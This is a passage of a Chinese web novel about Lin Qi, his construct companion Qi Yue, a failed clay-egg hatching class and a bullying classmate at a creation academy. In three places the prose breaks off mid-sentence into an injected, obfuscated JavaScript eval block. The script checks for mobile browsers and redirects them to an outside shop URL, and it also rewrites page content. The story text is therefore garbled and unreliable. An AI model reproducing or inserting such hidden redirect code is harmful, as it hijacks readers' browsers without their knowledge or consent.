“我能看懂古语,每个字都能看懂,而且我没学过。”他缓缓开口,连咬字都比平时随意,显得有些含混,“但我不知道是为什么。” 顿了顿,看向祈越,“你知道为什么吗?” 一阵沉默。 祈越皱了皱眉,审视地看了林栖几秒,眸光变得有些复杂,“好像是我在问你问题?” 林栖“嗯”了一声,继续发问:“你是咒师,有没有一种咒,可以把知识打包塞进人脑子里,不用学就会了?” 祈越扫他一眼,“想得挺美。” 林栖又往桌上趴了趴,下颌几乎碰到手肘,歪头看着祈越,“而且,问问题也有很多种情况。可以是你不知道,想知道,所以问我,也可以是你知道,想考我,所以问我。” 祈越看着他,没说话。 林栖又歪了歪头,像个自己答不出题所以找人要小抄的学渣,“所以你有答案吗?” 祈越眸光垂了垂又抬起,瞳中红色愈发沉静,语调也更轻缓,“你真的想听我说吗?” 目光相触,一秒,两秒——林栖心头猛地一跳,有种漫步途中忽然一脚踩空的错觉,本能只想后退。 他下意识坐直了些,不经思考地答:“也不是很想。” 祈越目光在他脸上顿了顿又收回,“那就别问。” 话题戛然而止,空气有种微妙的尴尬。 林栖拿出书和本子,开始抄写,祈越则继续看书。 安静中,只有笔尖摩擦纸面的声音和翻书时的轻响。 许久,书写声仍在继续,而翻书声悄然停止。 祈越目光掠过书脊边缘,看向林栖。 刚刚话题终止,其实不止是林栖不想,也是他自己不想。 他在林栖身上看到了很多似曾相识,区别在于,他现在的这副壳子是造物,而林栖的壳子是人。 关于林栖的问题,他有一个不算答案的答案—— 林栖其实不是林栖。 就像他也不是祈越。 他本名岐岄,改用“祈越”这两个字,只是因为读音一样。 作为岐岄,他有一段虽然不长但很完整的人生记忆。 枫城陆家是最古老的咒术世家,他的父母曾是陆家家主。 在十一岁的最后一天夜里,他被送出陆家老宅。 才下过雨,山路崎岖,车子开得很慢。 他知道,他要被送到一个很远的地方,以后陆家再也不会接他回来。 那晚,他一直看着窗外,想记住离开的路。 他看了很久,直到眼睛疼得睁不开了,也没看到尽头。 醒来时,眼前是一个陌生房间,周围光线昏暗,他不知道自己在哪。 他视野受限,无法移动身体,甚至不能确定自己的身体是否依然存在,就好像他整个人只剩下了一点意识,又被禁锢在某个位置,无法移动。 他只能看到一扇半开的窗。 入夜后,空气沁凉,银白月光洒在地上,一只星星虫追着月色飞进窗户,接着是第二只,第三只……在黎明之前夜色最深沉的时候,整间屋子布满了星星点点。 岐岄通过这些亮闪闪的光点,确定了自己的视野范围。 黎明时,他再次陷入沉睡,又在不知多久以后,于一阵烧灼感中醒来,他依然感知不到自己的身体,却能感知疼痛,从手指到肩膀,一片灼烧撕裂的疼,痛感模糊,像一道影子,但又切实存在。 他当时意识并不连贯,有时一睁眼看到阳光洒进窗子,恍惚一瞬之后又是午夜。 不过,只要在晚上醒来,他总能看到星星虫追着月光飞进窗子。 后来,他听到屋里有人走动,但看不清那人是谁。 工作台上立着木质支架,上面用软金属固定着一段残缺的手臂,手肘处断裂焦黑,有明显的焚烧痕迹。 脚步声断断续续,模糊的人影时而出现,时而消失,又过了很长时间,残缺的手臂被清理干净,修补完整。 某天早晨,岐岄醒来时,看到窗户关着,屋里一片昏暗,他在模糊中听到了一点很沙哑的人声,意识抽离一瞬,再清醒时,他终于清晰感知到了身体的存在。 剧痛像电流游走全身,痛感犹如笔墨,清晰描绘出手指轮廓,他想试着抬手,但没成功。 又花了很长时间,他才能正常走路。 像是经历了一场堆叠错乱的梦,直到真正醒来的那一刻,他才明白,自己已经没有了原本的身体,现在只有一副造物躯壳。 在可以正常走动之后,他去看过镜子里的自己,这具造物身体和他本来的样子几乎一模一样,只是更高一些,五官轮廓也更明显,看起来就像是他在自己不知道的时候又长大了几岁。 当时他不清楚,究竟是原本的自己作为一段意识,被塞进了修复后的造物外壳,还是他在遭遇某种意外之后,被做成了一件造物。 后来,他适应了造物身份,也学会了对很多问题不去深究。 他和记忆中那个十二岁的自己隔了两百多年时间,现在的陆家还在枫城,但世上已经没有了他所认识的陆家人。 在成为造物的这些年里,林栖是他遇到的第一个“同类”。 也许林栖也像他一样,原本是另一个人,某天醒来之后,忽然就成了“林栖”。 桌对面,沙沙的写字声在持续很久之后,终于停了停,林栖抬头,满眼迷蒙地朝他看了一眼,仿佛抄书抄到灵魂出窍。 祈越也花了很长时间才学会新语,当时没照过镜子,不知道自己什么表情,但有可能,也和现在的林栖一样。 他问:“写了多少?” “一页。”林栖低头数了数,“差不多是半章……不对,是半章的半章……” 祈越眼见林栖表情微微呆滞,整个人重心下移,缓缓趴到桌上,几秒后又努力支起身体,长长呼了口气,用力眨了眨眼,再次提笔,视线在书页里找了好半天,才找到之前写的进度。 照这个速度下去,大概要到天亮才能抄完两章。 “要我帮你写吗?”祈越开口。 林栖半慢拍地“嗯?”了一声,抄写一种完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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葛严夸张地拍了拍手,“你们关系可真好啊,这么护着他,至于吗?不就一个考试成绩,最后就最后呗,人家林栖怕丢人吗?他可是带着顶级造物来上学的,还能在乎这个?也就是你,上赶着给人提鞋,问题是,你想当跟班儿人家也未必要你。” 沐夏怔了怔,脸色迅速由白转红,“你说什么?” 已经很晚了,葛严却一点也没收着声音,几乎震得走廊嗡嗡作响,“我说——林栖考了全班最后一名!听见了吗?还要我再说几遍?” 沐夏涨红着脸,一着急,说话都有点磕巴,“你,你凭什么这么说?根本就没公布成绩!” “用不着。”葛严扬着下巴,“但凡有点脑子都知道林栖是花钱进来的,他考倒数第一,别人都信,就你不信,说明什么?说明你蠢。” 沐夏显然不会吵架,越急越不会说话,“你怎么能……你怎么能这样说同学?” “就说了,怎么样?什么同学,谁稀罕。”葛严说完,朝远处看了一眼,砰的一声关了房门。 沐夏愣了一下,回头,就见林栖也出来了,正站在房间门口。 他走过去,本来没想问,但平白被人说了一通,有点委屈,脑子一热就开口了,“葛严说你考了最后一名,好气人,这怎么可能。” 林栖看着他,片刻,叹了口气,“我确实是最后一名。” 顿了顿,又补充道,“零分。” 38. 第 38 章 午夜十二点,教师公寓。 摆在床头的老式电话忽然炸起铃声。 一只手摸索着,把听筒抓进被窝。 许慎行的声音从电话那头响起,“卫老师,睡了吗?跟你商量点事儿。” 被子里传出一声低沉而断续的“哦……”,仿佛人在吊死之前吐出最后一口气。 “明天的课程你打算怎么安排?”许慎行问完,等了一秒,没听到对面回答,于是继续道,“如果没有特殊安排,就先带学生孵个蛋吧,待会儿我去准备材料,明天中午之前给你送到教室,直接用就行了。” “……哦……” “今年学生是分了三波招进来的,考试标准都不一样,有几个学生我拿不准,尤其是林栖。”许慎行叹了口气,“我还是想再多考察一下,明天的课你也不用说得太多,带着他们做一遍就行了,回头等结果出来……” “啪嗒”一声,听筒从被子里滑到地上,卫老师又睡过去了。 许慎行对着空气说完,挂了电话,又打给负责造物修复课的郑圆。 “喂,郑老师,还没睡呢?关于这学期的课程安排……先把你那游戏关上,吵死了……什么?那你就把喇叭关了!长话短说,你抽时间给一年级加几节课,提前接触一下修复,看看他们动手能力到底怎么样。” “那有加班费吗?还有我去年那十三天的调休,什么时候能……” “你还想不想看顶级造物?” “嘶~院长你这就不厚道了,这是两码事,不能因为……” “顶级造物本身就是修复师,我考虑让林栖带它跟你一起上课,好了,我话说完了,你自己看着办吧。” “等,等等!一年级又没修复课,院长你这大饼都画到明年去了。” 许慎行阴涔涔地一笑,“以前没有,现在有了。” …… 林栖抄书抄到凌晨四点,终于抄完一章,进度刚到四分之一。 他本来计划今天要抄两章,但画下最后一个句号的时候,他整个人都恍惚了,书页上的文字好像有腿,在跟他玩某种类似于123木头人的游戏,他要用力盯住一个字,这个字才能定着不动,只要视线稍微一松,那些字就会拔起小腿儿乱跑。 他觉得,如果继续下去,这些字可能还会长出脑袋,开始跟他聊天。 他打算先睡一会儿再接着写。 床头摆着三个闹钟。 第一个闹钟在清晨六点响起,叮叮当当的铃声在林栖头顶敲完一遍,他不止没醒,甚至连眼皮都没动一下。 第二个闹钟定在七点,是昨天的起床时间。这时窗外天色已经亮了,闹钟响完一轮,林栖只是裹着被子,翻了个身。 第三个闹钟是七点半,就在枕头旁边,声音格外嘹亮,几秒种后,林栖伸手,啪的一声,把它按成了哑巴。 响声一停,林栖眉头瞬间舒展开来,把脸又往被子里拱了拱,只露出一只睡得红扑扑的耳朵。 八点整,祈越站在床前,沉默。 八点半,祈越从外面回来,把一份打包好的早饭放在桌上,走到床前,继续沉默。 外面阳光已经有些刺眼,一道玻璃反光映在床头,明晃晃地提示着时间已经不早。 而床上那团被子依然皮厚馅少,形状和他走之前一模一样,连褶皱走向都没变过。 可能因为裹得太严,那只露在外面的耳朵比半个小时之前更红了些,看起来就快熟了。 祈越面无表情地站了两秒,终于开口,毫无波澜地念出两个字:“起床。” 空气安静,无事发生。 祈越向前两步,略微俯身,在被子上推了一下,语气重了一些,显得更加冷淡,“起床——” 被子下的肩膀动了动,林栖含混地哼了一声,略微仰头,睫毛轻轻一颤,似乎下一秒就要睁开眼睛。 祈越把手从被子上拿开,等着林栖自己起来,结果眼见他在明亮的光线下皱起眉头,原本将要睁开的眼睛随之闭得更紧——他像某种一见光就会死的小蘑菇,用力往暗处缩了缩,被子一卷,把整个脑袋全部蒙上,这次连一只耳朵都没剩下。 祈越唇角微微绷直,呈一种无话可说的弧度。 他回头看了一眼时间,伸手,一把掀开被子。 一团林栖滚了出来,皱着眉头把眼睛睁开一条窄缝,嗓音含混得好似煮粥,小声咕哝了一句什么,完全听不清楚。 祈越:“起床。” 林栖:“嗯……” 仿佛是答应了,但完全没有要起的动作,反而用手背遮住眼睛。 祈越朝他手上扫了一眼,林栖的手很瘦,手指又长,看起来除了骨头就是皮。 嗯,像鸡爪子。 祈越视线顿了一秒,俯身,这次毫不客气地抓住那只鸡爪,直接把人从床上薅了起来。 林栖仿佛在三秒钟内从动物进化成人,踉跄着站稳,又摇摇晃晃站直,他眯着眼睛向前探身,看到了祈越的脸,迷茫的眼中顿时露出梦游般的表情。 为什么会一睁眼就看到这个人? 祈越松开那只鸡爪,面无表情地讲出一个恐怖故事:“已经八点半了。” 林栖:“!!!” 还有不到半个小时,林栖要洗漱换衣服、花十分钟赶到学院,加上送祈越去找许慎行的往返路程,肯定没有时间再去餐厅吃早饭了。 在洗漱时,林栖想着,昨天的巧克力威化还没吃,可以带上垫垫肚子,结果,从洗漱间出来,他一抬头,就看到桌上已经摆好了蔬菜粥和蛋卷。 祈越不止买了早饭,而且好像预判了他的起床时间,蔬菜粥温度刚好,不烫,可以狼吞虎咽。 八点五十九分,林栖成功到达教室,坐下之后,整个人还有些恍惚。 差一点就迟到了…… 哦不对,是旷课。 如果祈越不叫他,他可能会一觉睡到晚上八点。 三个闹钟果然不够。 得用五个…… 一节课上完,林栖获得了两个新的认知。 1,全世界的历史老师好像都有同款声线,就像削平的秃山,枯燥、干巴、没有起伏,十分助眠。 2,林叙是史上第一位造物师,但造物学院的历史教科书上却没有他的名字。 也可能只是一年级的教科书上没有。 下课之前有一段自由讨论时间,他听到有人在后面议论,说他成绩太差,没有资格,所以顶级造物被没收了,今天只能一个人来上课。 自己没本事还非要显摆就是这种后果。 下课之后,他在走廊里也听到了一些类似的议论,那些高年级似乎也知道了他考零分的壮举,同样也很关心顶级造物会被怎样处置。 祈越被“寄放”在许慎行那边,要到下午才能去接,林栖中午没去餐厅吃饭,只在图书馆对面的小店里买了面包和牛奶,打算带回去吃。 出门时,沐夏追上来,对他进行了一番委婉又刻意的安慰,大意是告诉他一时考不好也很正常,每个人的成长路线都是不一样的,理论课虽然很重要但也不是绝对。 沐夏说话语气和平时不太一样,文绉绉的,而且引经据典,条理分明,不像正常聊天,更像是提前写了一篇稿子,又努力背下来说给他听。 他对许慎行说他不识字,许慎行好像并没对他有多失望,还又替他做了一堆安排。 他对沐夏说他考零分,沐夏也没对他失望,还特意打了稿子来安慰他。 他以前觉得,让人失望是一件很容易的事,现在反而有点不知道该怎么办了。 中午回去,林栖对着三个闹钟纠结片刻,没敢补觉,撑着眼皮抄了两小时书,抄完之后,只觉得自己脑子已经成了海绵。 下午,那些针对考零分和顶级造物的议论声比之前更多,但他顶着一颗海绵脑子,听声音都觉得疏松多孔,完全没注意他们在议论什么。 今天的造物基础课被安排在工房二楼的操作区,每个学生都有一个独立操作台,桌上预先放着两块圆柱形的黏土,一白一黑,类似于瓷土和陶泥。 卫老师今天穿了一身黄色,像颗小太阳一样站在那里,手里托着一团白色黏土,一边揉捏,一边介绍:“今天我们要来尝试一下‘孵化流’,一个很复古的造物流派。” 话音刚落,林栖就听到邻桌的沐夏“哇”了一声,双手握拳,很期待地挥了两下。 卫老师像是听到了,笑着朝沐夏眨了下眼,继续道:“是的,‘孵化流’是很有趣的,只需要制作一颗造物蛋,每个人都能孵化出属于他自己的造物,蛋的造型代表着新生和未知的可能性,所以,从蛋里孵出任何形式的造物都不奇怪。” 比如,孵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卫老师认出这是葛严的声音,回头看了一眼,又看林栖反应,本想说些安慰的话,却发现林栖好像根本就没听见,只是专注地看着他刚介绍过的一种材料。 这叫“木茧”,顾名思义,是一种木质“虫茧”,由星星虫幼体寄宿在月牙木树枝中形成茧状空腔得名。 木茧内部留有星星虫特有的发光材质,研磨之后,粉末会像星星虫一样发光,不过白天看不见,得有月光才行。 卫老师放轻声音,仿佛怕吓跑了并不存在的星星虫,“告诉你一个秘密,红月时,木茧的光会变成蓝色,是一种很通透,很梦幻的蓝,特别好看。” 林栖点点头,拿起自己那颗蛋胚,放在研磨好的木茧粉末里,滚了一圈,纯黑的蛋胚表面立刻多了一层绒毛,仿佛一颗炸丸子裹满了面粉。 卫老师轻轻“啊”了一声,想阻止已经来不及了。 林栖后知后觉,托着毛绒绒的蛋胚问:“这样不行吗?” “……也不是不行。”卫老师盯着林栖手上的蛋,“第一次就是要大胆尝试,哪怕不成功也没关系。” 林栖懂了,他的这颗蛋很有可能孵不出来。 很快到了下课时间,卫老师起身,把孵化箱指给学生看,让他们自己选个顺眼的格子,再在标签上写好姓名日期。 林栖选了一个最边角的格子,走过去的途中,又顺手把蛋胚团了几下,木茧粉末有种很独特的质地,手感很好。 孵化结果最快也要再等一周才会出来。 下课之后,林栖去接祈越,走的又是北楼梯,前后无人,他忍不住想问祈越今天都做了什么。 但还没开口,祈越就道:“当了一天免费修理工。” “修理工?” “你们那位许院长说,反正闲着也是闲着,不如随便修点什么打发时间。” 林栖懂了,许院长是让祈越去修古董造物,所以他已经知道祈越以前是修复师了? “那你修了什么?” “金鱼灯。” 林栖:“?” 是他想的那种金鱼灯吗? “一只特别丑的金鱼灯,造物师名叫白诚。” “白诚?” 这个名字有什么特别吗? 经过楼梯转角时,祈越回头朝他看了一眼,“不确定是不是同一个人,不过你看的那本书,作者也叫白诚。” 39. 第 39 章 林栖想起来了,那本书的作者说自己也做过金鱼灯,不过不太成功。 他问祈越:“能修好吗?” “大概。”祈越答。 “那修好之后会拿去用吗?”林栖反复脑补过文字描绘出的场景,很想看看金鱼灯是怎么游着去找人的。 祈越扫他一眼,“你的意思是,拿去吓人?” 林栖:“?” ……真的有这么丑吗? 一楼转角处,昨天那颗残疾的灯泡彻底灭了,窗户里那一点光只够照亮几步,最后一段台阶越走越黑,仿佛通向地底。 两人几乎并排,只隔着一级台阶,林栖在前,祈越在后。 林栖抓着扶手走在左边,只剩四五步时,扶手忽然缺了一块,倒数第三级台阶昨天才刚补过,边缘有一颗钉子没敲到底,林栖鞋子被它钩住,绊了一下,一步没踩稳,整个人猛地往前一栽。 瞬间的失重感后,他觉得脖子一紧,被祈越抓着领子拎了起来。 林栖像一只被人揪住后颈皮的猫,下意识地挥动爪子,前方悬空,无处着力,于是右爪向后,一把薅住了祈越领口。 祈越被他抓得往前低了下头。 片刻,两人各自找好重心站稳,在黑暗中互相揪着对方领子,静了一秒。 祈越:“松手。” 林栖:“哦……” 互相松开之后,祈越揉了一下脖子前面,林栖也摸了摸自己后颈。 走完最后几级台阶出门,祈越理了一下衣领,朝林栖手上看了一眼又收回视线,“我看你是真的需要上控制课,好好控制一下你自己的脚和爪子。” 林栖:“……” 完全无法反驳。 说到控制课,他们已经同意了许慎行的提议,现在问题变成了,怎么才能糊弄过去。 林栖并不想学怎么控制祈越。 不过他们还不清楚课程安排,只能到时候再说。 …… 凌晨两点半,林栖的作业抄完了两章,还剩两章。 造物概论八点上课,如果写到七点半出门,就还有五个小时……能写完吗?他有点恍惚,连最简单的加减法也算不清楚。 片刻,脚步走到近前,祈越的声音好像隔着帘幕传来,“别写了,去睡觉。” 林栖撑着眼皮,迷迷糊糊地抬头看他。 祈越指着窗户:“不想活了可以跳楼,没必要把自己困死。” 林栖:“……” 好像很有道理…… 祈越走到他身边,把他肩膀往旁边拨了拨,示意他让出座位。 林栖身子左右晃了一下,看着祈越,没动。 祈越垂眸,指尖落在书上,“你抄书的目的是什么?为了看懂这一章的内容?为了学会这些文字?还是单纯为了完成作业?” 说着,指尖滑动,停在其中一个字上,“这念什么?” 接着又指出其中一行,“这段话是什么意思?” 林栖答不出来,光是抄写已经抄不完了,他没时间看内容,更没时间记住文字。 祈越手指离开桌面,往床上一指,“答不出来就去睡,别在这里浪费时间。” “剩下的我来写,最多只用半个小时。” 林栖看着祈越,片刻,点了点头,恍惚地飘到床上,倒头就睡。 第二天,五个闹钟依次响起,可谓声势浩大,但效果不佳,最后林栖还是被祈越硬从床上拽起来的。 林栖不理解,为什么现在连五个闹钟都不够用了? 书桌上,作业已经抄好,而且笔迹和他一模一样,连他自己也看不出从哪里开始是祈越帮他写的。 在作业旁边,还另外放了一叠纸,字迹工整隽秀,写的是古语。 他翻了翻,发现这是古语版的《造物学》前三章,逐行逐句翻译,可以和新语对照着看,而且行间还用小字写了注释,把某些词组的新旧用法区别标了出来,很容易懂。 造物概论一周三节,这些刚好够用一周。 林栖盯着那叠纸,手指无意识地捏紧,然后松开,接着又捏紧,又松开…… “你们那位——” 祈越的声音在身旁响起,林栖倏然抬头,脸上一瞬间的表情仿佛偷东西被抓了现行。 祈越看着他,声音卡顿一瞬,接着重新把话说完,“你们那位院长特意吩咐,让我念给你听,这也算是念了。” 林栖整个人有点僵硬,垂着视线,含混地“嗯”了一声。 同一时间,手工教室。 孵化箱前方,工房大师傅正在进行日常打扫。 大师傅姓高,人不算高但很壮,两只大手厚得熊掌一样,拍一下能把人弹出去好远。 拖布尾巴在地上摆了两下,高师傅停下动作,抬头道:“卫老师,今天怎么这么早就起了?” 卫老师垂着胳膊,耷着眼皮,梦游似的说了两个字:“院长……” 高师傅面露同情,了然地“喔!”了一声。 卫老师眯着眼睛看向孵化箱,整个脸几乎贴在玻璃门上。这是一种多用途温控箱,可以按需设置内部光照、温度、湿度等。 为了防止黏土蛋胚因内外湿度不均而导致开裂,现在箱子里的湿度设置为85%,此后会逐步下降,直到蛋胚完全干燥。 孵化箱分上下两层,格子里错落摆着十颗蛋胚,虽然大大小小,深浅不一,但半干的黏土表层都呈微哑光状,很接近自然的蛋壳质地——除了某颗毛绒绒的黑蛋之外。 卫老师看看这颗蛋,又看看标签上林栖的名字,无神的眼睛显得有点发愁。 片刻,风风火火的脚步声传来,许慎行大步走到卫老师旁边,朝玻璃门上扫了一眼,看到那颗莫名其妙的毛蛋,眼睛睁大一瞬,紧接着嫌弃地移开视线,问道:“怎么样?” 他昨天一直没腾出空,只能趁着今天上课之前过来看看。 卫老师:“院长,我觉得,您有点太心急了。” “别说这些,你觉得怎么样?”许慎行视线左右一扫,“哪个是林栖的?” 卫老师让开柜门,露出被他挡住一半的标签,“这个就是。” 许慎行嘴角一抽,凑近去看,脸上表情顿时十分拧巴,嫌弃中带着不理解,不理解中又透着一点执着,仿佛试图在一盆工地黄沙中淘出几粒金子。 这个发了霉一样的蛋壳,丑是丑,但造型……也不怎么样,太圆了。 虽然造型不好,但是配色……配了吗?这不就是纯黑?? 尽管配色也不好,但只要孵化……不出来吧!这怎么是木茧粉?? 许慎行嘴角抽搐,“是谁教他把木茧粉这么用的?” 木质材料必须用在蛋体内部,可以理解为只能做蛋黄,不能做蛋壳,如果放在表面,就类似于倒着栽葱,根系全部晾在外面。 卫老师:“是我说的,可以自由发挥,只要能做出一颗蛋就可以。” “那你看看,这是像一颗蛋,还是像一块没炸好的臭豆腐?”许慎行一脸阴沉,“怎么不好好教他按照正常步骤来呢?” 卫老师反应速度比许慎行慢了不止一拍,解释的话还没酝酿出口,就听一道年轻男声从后面传来—— “我说怎么没人,原来都在这呢,早呀~我尊敬的各位同事。” 来的是叶副院长。 这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704031|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻的副院长前不久刚过完他的二十岁生日,休了个长到能让郑圆怒做一百个俯卧撑的生日假。 销假销了三天,但他今天才在学校露面,严格来说,已经算是旷工。 不过叶副院长并没有“工”。 他是造物学院的一位闲人,作为年轻一代极有天赋的造物师,必须留校,但性格又实在不适合当老师,只能挂个虚职让他闲着——没事搞搞创作,顺便帮院里的其他老师治一治低血压。 叶副院长名叫叶寻,叶家和观家沾着点亲,叶寻一头祖传的银色长发散在肩上,配着招牌红衬衫和铆钉靴,别说为人师表,简直就是带头来造反的。 许慎行一见他就头疼,这是他曾经最看好的学生,没想到小时候挺乖长大了叛逆,现在完全是个问题青年。 他这边时间紧张,刚要开口赶人,却见叶寻肩膀上蹲着一团白色的不明物体,歪扭扭的,像没蒸好的年糕。 叶副院长走到几人面前,愉快介绍:“这是我的新作品,年糕小人儿,又名珍珠丸子制造机,喂它吃糯米,它会拉丸子,如果同时喂果酱和糯米,还能拉出夹心丸子,不过要小心别让它着凉,不然你们懂的。” 着凉拉肚子…… 看另外几个人的表情,他们显然不太想懂。 “来,叫人,我们好孩子要懂礼貌。”叶寻抬手在年糕小人儿头上戳了一下,给它圆圆的脑袋戳出一个凹坑,本就不太聪明的样子顿时透出一丝睿智。 叶寻指向许慎行,年糕小人儿眨眨眼睛开口:“老僵尸早!” 许慎行:“……” 叶寻又指卫老师,年糕小人儿叫道:“老鹦鹉早!” 卫老师:“……” 叶寻纠正:“不对,这个‘老’字是对院长的尊称,是他老人家专用的。” 年糕小人儿似懂非懂,但有错就改,“小鹦鹉早!” 叶寻还想指高师傅,不过这位大师傅眼见情况不对,提前跑了,没被指到。 许慎行撇着嘴巴,同时又目光灼灼,整个人看起来有些分裂。 混蛋叶寻又在瞎搞创作……但是!这个拉屎小人儿会说话! 这是给造院又添了一件高级造物! “来来,跟我说说——”许慎行着急要问这件造物是怎么做出来的,叶寻却绕过他看向那一排孵化箱。 “呀~孵蛋呢?” 他目光一扫,轻飘飘地从一端落向另外一端,在标签上极轻的一顿又移开,收回视线,踱着步子,从第一格走到最后一格,像是才看清似的,往前探了探身,“这谁的?真有创意,都发霉了,我帮它取个名吧,叫倒霉蛋。” 许慎行:“……” 卫老师:“……” “等孵出东西请务必叫我来看。”叶寻看向右下角的标签,“昨天才刚捏的?那最快也得下周。” 他嘴上说着日期,眼睛却盯着“林栖”两个字。 这就是那位传说中的林同学了。 但凡有点常识,都不会在蛋胚表面使用木质材料。 所以~咱们这位小林同学是真的犯傻,还是故意装傻? 如果是别人家的孩子也就算了,但这位同学是观沄收养的,又姓林,那必然只能是那个林了。 一个能署名顶级造物的林家人,实在不应该在这个时候出现在造物院里。 叶寻双手合十,闭眼念道:“让我们祝愿这颗倒霉蛋——” 孵化不成功——同时衷心祝愿小林同学是个笨蛋。 接下来这两天,高师傅过得不太顺心,不止因为总有人来关心孵化情况,还因为那颗“倒霉蛋”果然出了问题。 它裂开了…… 40. 第 40 章 周四下午课程结束之后,高师傅例行检查,发现“倒霉蛋”上出现了一条很浅的裂缝。 每届学生都会安排一到两次孵化课,近十年来,孵化成功率高达100%(有些学生非要把孵化过程中的蛋胚拿出来玩结果摔碎了这种情况不算失败算手欠)。 作为一名资历二十年的工房大师傅,高师傅已经很久没遇到过这种情况了。他第一时间通知了卫老师,卫老师查看过后,把湿度调高到了90%,结果没什么用。 只半天时间,裂缝就从浅浅一条扩散到整片网状,搞得好好一颗蛋胚几乎成了网纹瓜…… 周四晚上直到工房锁门之前,高师傅都在尽职尽责地盯着湿度计,心里对100%的孵化率还保有一丝幻想。 虽然这颗蛋已经裂成蜘蛛网了,但只要不碎,还是有可能孵出来的……八年前有个学生也是这样,蛋胚水分太大,干燥过程中整颗蛋都抽抽了,好似一颗风干大枣,但因为他一直帮忙盯着湿度,最后还是孵出来了。 虽然只孵出来了一块可塑橡皮…… 工房晚上十点锁门,早上七点开门,到了周五,高师傅特意早起,天刚亮就去查看情况。 孵化箱自带补光灯,在清晨昏暗的工房里是两排明黄色的方格,十分显眼。 高师傅手里拎着一兜早饭,老远就看到那颗倒霉蛋不行了,整颗蛋已经裂成了两半。 刚捏好的造物蛋都是实心的,在孵化开始之后,蛋体将分化出“胚体”和“外壳”两部分,中间逐渐分离,形成一层空腔。 高师傅开箱确认,裂开的蛋胚还是实心,显然完全没有孵化。 他给卫老师打电话:“很遗憾地通知您……” 卫老师睡得迷迷糊糊,接到这个报丧电话差点以为院里有谁死了。 …… 周五上午是本周的最后一节概论课,下课之前,许慎行又安排了一次考试。 林栖勉强做了两道选择和一道填空。 考试结果要等周一才能知道。 下课时,卫老师来找林栖,单独把他叫到手工教室,让他坐着先等一会儿,片刻,用托盘把碎成两半的蛋胚拿了过来,放在他面前的工作台上。 卫老师安慰道:“没关系的,第一次尝试,有点小意外也很正常,而且老师觉得你很有自己的想法,这对造物师来说是很重要的。” 卫老师穿了一身暖咖色,温和笑着俯身在林栖桌前,“我们再做一个试试吧?上次的材料还剩了一些,而且这才刚过三天,现在重做一个,完全可以跟着这批一起孵化。” 课上给学生用的黏土都是固定分量,卫老师预计的平均孵化时间是20天左右。 现在其他学生的蛋胚都在正常孵化,只有林栖那个格子空着,如果不做一个补上,就要再空两到三周。 林栖点了点头。 他能懂卫老师的担心。 卫老师去准备材料,林栖轻轻拿起裂开的两半蛋胚,托在手里,微微有些出神。 手里的蛋胚明明是沉甸甸的实心手感,却有一种很微妙的“空”,让他想起了观沄买给他的草莓冻干夹心巧克力。 蛋壳总是薄薄一层。 不止蛋壳,任何一种壳好像都是薄的。 但实心就不可以是壳吗? 林栖正想着,葛严忽然从立柱后面走了过来,“可真厉害,十年了,唯一一个孵化失败就是你,还真是跟所有人都不一样。” 又是他…… 林栖没抬头,想假装听不见。 葛严却走近过来,靠在桌边,“说真的,我虽然知道你很废物,但也没想到真的有人可以这么废物,考零分就够可以了,居然连个蛋都孵不出来。” 林栖安静坐着,像听不见一样,只是看着自己的手。 葛严还在继续:“不过你有一个过人之处,就是——心态好,都这样了,还好意思留在学校,我都有点同情你了。就连乐贤那种智障都能甩你几条街,换了别人早就退学了。” 林栖手指动了一下,终于转头看他,“所以你要退学了吗?什么时候走?” 葛严脸上那种刻薄的笑容明显一僵,“谁跟你说的?” 林栖不回答,只是静静打量着他。 葛严不知想到什么,忽然很不耐烦地皱起眉头,“到底是谁跟你说的?” 林栖却转头不再看他。 葛严咬了咬牙,冷笑一声向前探身,一把抢过林栖手里的东西,用力一扔,“这种垃圾就该待在垃圾桶里,你也一样,你们都一样,造院是什么好地方吗?笑死了,垃圾,以为谁愿意待在这里。” 林栖看着被扔进垃圾桶里的蛋壳,有点生气。 很烦。 想打他。 林栖其实不太会处理这种情况,和陌生人打交道总是很麻烦的,尤其是这种讨厌的人,不理他都不行,非要一次又一次地惹你。 他在福利院的时候也被那些大孩子惹过,被盯上了就很麻烦,躲是没用的,只能打回去。 下手要狠,只要赢了就没事了,那些人以后都不会再来。 他看向葛严,精致漂亮的脸上显出些许纠结,认真思考:我现在能打他吗? 葛严见林栖不说话,又抓起他的书往地上扔,“只会考零分,你还要书有什么用,能看懂吗?” 林栖蹲下捡书,纠结地捏了捏手指。 好烦,真的好想打他。 但如果观沄知道他在学校打人…… 不然晚点再打?找个没人的地方…… 正想着,忽然听到一阵清晰的脚步声,林栖半蹲在地上抬头,被桌面遮着视线,还没看清状况,就听葛严“啊”地大叫一声。 他偏了偏头,有些意外地看到凌壑站在桌前,画满涂鸦的黑色西装半敞,一双大长腿格外有存在感。 凌壑单手抓着葛严后领,直接把人拎了起来。 葛严又叫了一声,挣扎着喊:“你放手!放开我!” 凌壑唇角一勾,“不放,谁叫你欺负我家孩子?” 葛严挣扎了几下发现没用,急得满脸涨红,“林栖你除了靠家里还会什么!你就是个垃圾废物!啊!放开——你!” 